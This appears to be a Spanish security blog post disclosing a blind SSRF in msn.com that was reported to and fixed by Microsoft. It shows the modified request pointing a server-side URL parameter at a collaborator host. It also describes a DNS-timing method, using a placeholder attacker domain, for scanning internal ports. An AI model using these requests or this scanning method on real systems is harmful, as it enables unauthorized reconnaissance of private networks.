Blog Layout

Server-Side Request Forgery en WWW.MSN.COM

DeepSecurity • Oct 23, 2018
Un fondo blanco con algunas líneas.
Un diagrama que muestra cómo el firewall bloquea una solicitud directa.

Server-Side Request Forgery (SSRF) es una vulnerabilidad que ha ido ganando mayor popularidad entre las nuevas tecnologías web. En el 2020 hay más de 60 CVEs asignados a esta vulnerabilidad. En este post se explicará a detalle un Blind SSRF encontrado en www.msn.com.


Conocimiento Base para comprender la vulnerabilidad:

¿Qué es Server-Request Forgery?

Server-Side Request Forgery es un tipo de vulnerabilidad que permite forzar a una aplicación a generar peticiones HTTP a un sitio web controlado por el atacante. En un SSRF clásico, el atacante envía una petición especial al servidor vulnerable, el servidor visita el link controlado por el atacante y este puede obtener información privilegiada como un archivo o un token.

Un diagrama que muestra cómo el firewall bloquea una solicitud directa.

Server-Side Request Forgery (SSRF) es una vulnerabilidad que ha ido ganando mayor popularidad entre las nuevas tecnologías web. En el 2020 hay más de 60 CVEs asignados a esta vulnerabilidad. En este post se explicará a detalle un Blind SSRF encontrado en www.msn.com.


Conocimiento Base para comprender la vulnerabilidad:

¿Qué es Server-Request Forgery?

Server-Side Request Forgery es un tipo de vulnerabilidad que permite forzar a una aplicación a generar peticiones HTTP a un sitio web controlado por el atacante. En un SSRF clásico, el atacante envía una petición especial al servidor vulnerable, el servidor visita el link controlado por el atacante y este puede obtener información privilegiada como un archivo o un token.


Un diagrama de un hacker atacando una aplicación vulnerable.

Imagen 1 – Ejemplo SSRF Clásico


En la imagen 1, se puede ver una aplicación que mediante un Json le especifica 2 valores al servidor. Un archivo local o de configuración en la variable path y la variable response que es el endpoint donde llegará el valor de path.


Explotación:

Como se puede observar en este ejemplo, el atacante tiene un SSRF en el cual puede controlar el archivo que quiere obtener del sistema (path) y el endpoint donde quiere escuchar la respuesta (response). El atacante en la petición debe ingresar un dominio controlado por él y la respuesta llegaría con el contenido de path a su puerto 80 o 443.


Server-Side Request Forgery a ciegas:

Existen escenarios más complejos donde la vulnerabilidad no es tan perfecta como en el escenario antes mencionado. ¿Qué pasa si solo tuviese la variable response? ¿Qué ocurre cuando se puede forzar la aplicación a generar una petición HTTP, pero no hay una variable para obtener un archivo local? ¿Qué tipo de ataque podría generar en ese caso?


Blind SSRF [XSPA] en www.msn.com:


Introducción:

Cross Site Port Attack (XSPA) es una vulnerabilidad que permite a los atacantes obtener el estado de los puertos TCP, en ocasiones tomar banners de los servicios, a través de Internet o sistemas internos al abusar de una función que realiza solicitudes HTTP utilizando URLs controladas por el atacante.


Primeros hallazgos:

Al visitar www.msn.com, se pudo visualizar un request con los siguientes valores enviados por post. (la petición tiene valores cambiados con el propósito de hacer el post más didáctico).


‘Data’:’{\’surl\’:\’http://external-microsoft-

server.com/\’,\’cc\’[\’BB19j9yX\’,\’BB19iQtV\’,\’BB19jd0J\’,\’BB19ik5C\’,\’BB19iPyl\’,\’BB19iRQ3\’,\’BB19hz2h\’,\’BB19h56d\’,\’BB19gWGJ\’,\’BB19gRAM\’,\’BB19gDOw\’,\’BB19gCBu\’,\’BB19g3SY\’],\’exclcss\’:[54702371,-1917159379,1610284228,1695086248],\’excljs\’:[54702371,-1917159379,1695086248,246664348,-1186611808,-2126990898],\’rcc\’:63,\’p\’:2,\’pvid\’:\’41059c0f7a574399a8ec60680b4acabe\’}’}


Burp Suite, cuenta con un ayudante en su versión PRO, Burp Collaborator. Básicamente lo que hace es generar un subdominio y escucha en distintos puertos para recibir peticiones.

Un diagrama de un hacker usando una computadora portátil.

Burp Collaborator recibiendo peticiones


También existen otras aplicaciones gratuitas con funcionalidades similares como ngrok o se puede usar un servidor propio. Usando el link generado por collaborator, se modificó la petición y se envió:


‘Data’:’’:’{\’surl\’:\’http://xxxxxx.burpcollaborator.net/\’,\’cc\’[\’BB19j9yX\’,\’BB19iQtV\’,\’BB19jd0J\’,\’BB19ik5C\’,\’BB19iPyl\’,\’BB19iRQ3\’,\’BB19hz2h\’,\’BB19h56d\’,\’BB19gWGJ\’,\’BB19gRAM\’,\’BB19gDOw\’,\’BB19gCBu\’,\’BB19g3SY\’],\’exclcss\’:[54702371,-1917159379,1610284228,1695086248],\’excljs\’:[54702371,-1917159379,1695086248,246664348,-1186611808,-2126990898],\’rcc\’:63,\’p\’:2,\’pvid\’:\’41059c0f7a574399a8ec60680b4acabe\’}’}


En este punto, se pudo confirmar que existía un Blind SSRF, el collaborator había recibido una petición del servidor de Microsoft. Para hacer pruebas mas exactas, se utilizó un servidor propio y se reenvió la petición especificando un puerto, de la siguiente manera:


‘Data’:’’:’{\’surl\’:\’http://reciever.deepsecurity.pe/\’,\’cc\’[\’BB19j9yX\’,\’BB19iQtV\’,\’BB19jd0J\’,\’BB19ik5C\’,\’BB19iPyl\’,\’BB19iRQ3\’,\’BB19hz2h\’,\’BB19h56d\’,\’BB19gWGJ\’,\’BB19gRAM\’,\’BB19gDOw\’,\’BB19gCBu\’,\’BB19g3SY\’],\’exclcss\’:[54702371,-1917159379,1610284228,1695086248],\’excljs\’:[54702371,-1917159379,1695086248,246664348,-1186611808,-2126990898],\’rcc\’:63,\’p\’:2,\’pvid\’:\’41059c0f7a574399a8ec60680b4acabe\’}’}


Request recibida desde Microsoft (Se han eliminado datos)


De esta petición, se obtuvo la IP del servidor de Microsoft, un dominio de producción, un Authtoken y algunos valores que afectan la confidencialidad de la información de Microsoft.


El problema:

Se ha identificado una aplicación de Microsoft que genera peticiones a un servidor web que se le especifique ¿cómo se puede aumentar el riesgo de este escenario?


Weaponizing – XSPA, Timing y DNS:

Para realizar un escaneo de IPs a la LAN de Microsoft, se utilizó el tiempo que se demora el cliente HTTP en resolver un dominio.


Como se puede observar en la imagen previa, se configuró un dominio con 2 registros A. Uno resolviendo (DNS) a IP local aleatoria y otro registro resolviendo (DNS) a un servidor controlado por nosotros. El orden de los registros es importante.


La mayoría de los clientes HTTP cuando hacen una petición a un dominio, y este dominio tiene 2 registros A, primero intenta resolver usando el primer registro, si no la encuentra o no se puede conectar, se conecta a la segunda. Siguiendo esta lógica, se podría saber que IP está activa en la LAN.


Prueba 1:


Attacker.com (A) → 10.0.0.1

Attacker.com (A) → 200.x.x.x

surl: http://attacker.com

Tiempo en llegar a 200.x.x.x: 1 Segundo



Prueba 2:


Attacker.com (A) → 10.0.0.2

Attacker.com (A) → 200.x.x.x

surl: http://attacker.com:445

Tiempo en llegar a 200.x.x.x: 1 Segundo



Prueba 3:


Attacker.com (A) → 10.0.0.XX

Attacker.com (A) → 200.x.x.x

surl: http://attacker.com:443

Tiempo en llegar a 200.x.x.x: N/A



Prueba 4:


Attacker.com (A) → 10.0.0.10

Attacker.com (A) → 200.x.x.x

surl: http://attacker.com:445

Tiempo en llegar a 200.x.x.x: 15 Segundos



Conclusiones:

La prueba 1 y 2, demuestran que el cliente intentaba pedir primero la IP local en el puerto 80; sin embargo, al no ser una IP/Puerto activo, automáticamente era reenviado a nuestro servidor Web. En la prueba 3, la conexión nunca llegó. En ese sentido, se puede confirmar la IP local de Microsoft, 10.0.0.XX en el puerto 443, tiene un servicio corriendo. En la prueba 4, se pudo confirmar que la IP estaba activa, pero en el puerto 445, no existía servicio corriendo.


Microsoft confirmó la vulnerabilidad y la calificó como Importante, lo cual es equivalente a Alto en su sistema de calificación. Microsoft me añadió (Camilo Galdos – DeepSecurity) a la lista de reconocimientos de setiembre 2020 por esta vulnerabilidad; sin embargo, el dominio msn.com no es parte del scope para Bug Bounty.



Línea de tiempo de reporte responsable:
Set 22: Vulnerabilidad encontrada.
Set 23: Reportada a Microsoft.
Set 29: Microsoft confirma la vulnerabilidad.
Oct 1: Microsoft confirma el fix para la vulnerabilidad.
Oct 19: Microsoft publica el reconocimiento en su web.
Oct 23: Publicación del Write-Up.


Un fondo azul con dos manos y las palabras
04 sep., 2023
¿Por qué se siguen reportando incidentes en los Smart Contracts? Hay varias razones por las que los smart contracts siguen siendo un objetivo para un actor de amenaza, aca les mencionamos las principales.
Una langosta verde en una rama, y el mensaje de pruebas de penetración vs bug bounty
08 ago., 2023
Los programas de bug bounty (recompensas por errores) y penetration testing (pruebas de penetración son dos enfoques distintos para las pruebas de seguridad, cada uno con sus propios beneficios y consideraciones. Si bien algunos pueden verlos como métodos opuestos, en realidad pueden funcionar en conjunto para mejorar la postura de seguridad de una organización. Es importante comprender las diferencias entre los dos y evaluar qué enfoque se alinea mejor con las metas, el objetivo y los recursos específicos de la organización.
Un mapa azul de América del Sur tiene un fondo azul oscuro.
por DeepSecurity 24 jun., 2020
SMBGhost (CVE-2020-0796) es una vulnerabilidad de ejecución remota de código, no autenticada, en Microsoft Server Message Block 3.1.1 (SMBv3). La vulnerabilidad sólo requiere que el puerto 445 esté abierto, y un atacante podría conectarse y ejecutar comandos sin necesidad de tener usuario o contraseña.
Un virus azul sobre fondo negro con las palabras reporte de ciberinteligencia
por DeepSecurity 01 jun., 2020
Durante nuestras investigaciones de ciberinteligencia encontramos un grupo en Telegram donde se mencionan distintos temas desde hacking de aplicaciones web hasta robo de tarjetas (carding). Encontramos que algunos de los 550 ciberdelincuentes miembros de este grupo publicaban información sobre un fallo en la web del bono universal que permitía apropiarse del bono de los beneficiarios.
Una estatua de un oso está comiendo una hoja sobre un fondo negro.
por DeepSecurity 21 may., 2020
El último año ha sido clave para la expansión digital de los bancos peruanos. Se han lanzado al mercado todo tipo de utilidades y aplicaciones que ayudan a las personas a gestionar su dinero de una manera más fácil. En DeepSecurity, nos preocupamos por la ciberseguridad del sistema financiero local y por eso hemos llevado a cabo un análisis pasivo (no-intrusivo) de las aplicaciones móviles de 12 bancos del Perú.
Una mano sostiene una pieza de ajedrez sobre un fondo azul.
por DeepSecurity 14 abr., 2020
BlueKeep (CVE-2019-0708) es una vulnerabilidad de ejecución remota de código, no autenticada, en Remote Desktop Services (Servicio de RDP). La vulnerabilidad solo requiere que el puerto de RDP esté abierto y un atacante podría conectarse sin necesidad de tener usuario o contraseña.
Un diagrama de un líder de grupo con servicios técnicos y servicios monetarios.
por DeepSecurity 12 abr., 2020
La empresa rumana de Ciberseguridad @Bitdefender público un nuevo caso de estudio “An APT Blueprint: Gaining New Visibility into Financial Threats“ en donde plasma la línea de tiempo y el modus operandi de la banda APT (Advanced Persistent Threat) Carbanak
El logotipo de la palabra valla es azul y negro sobre un fondo blanco.
por DeepSecurity 11 mar., 2020
Durante un servicio de pentest web, el equipo de research de DeepSecurity se propuso crear una excepción en el WAF del plugin de seguridad más reconocido para el aseguramiento de plataformas WordPress, que actualmente protege aproximadamente a 3 millones de sitios web en el mundo, y donde pudimos identificar una vulnerabilidad de Cross-Site Scripting (XSS)
Más entradas
Share by: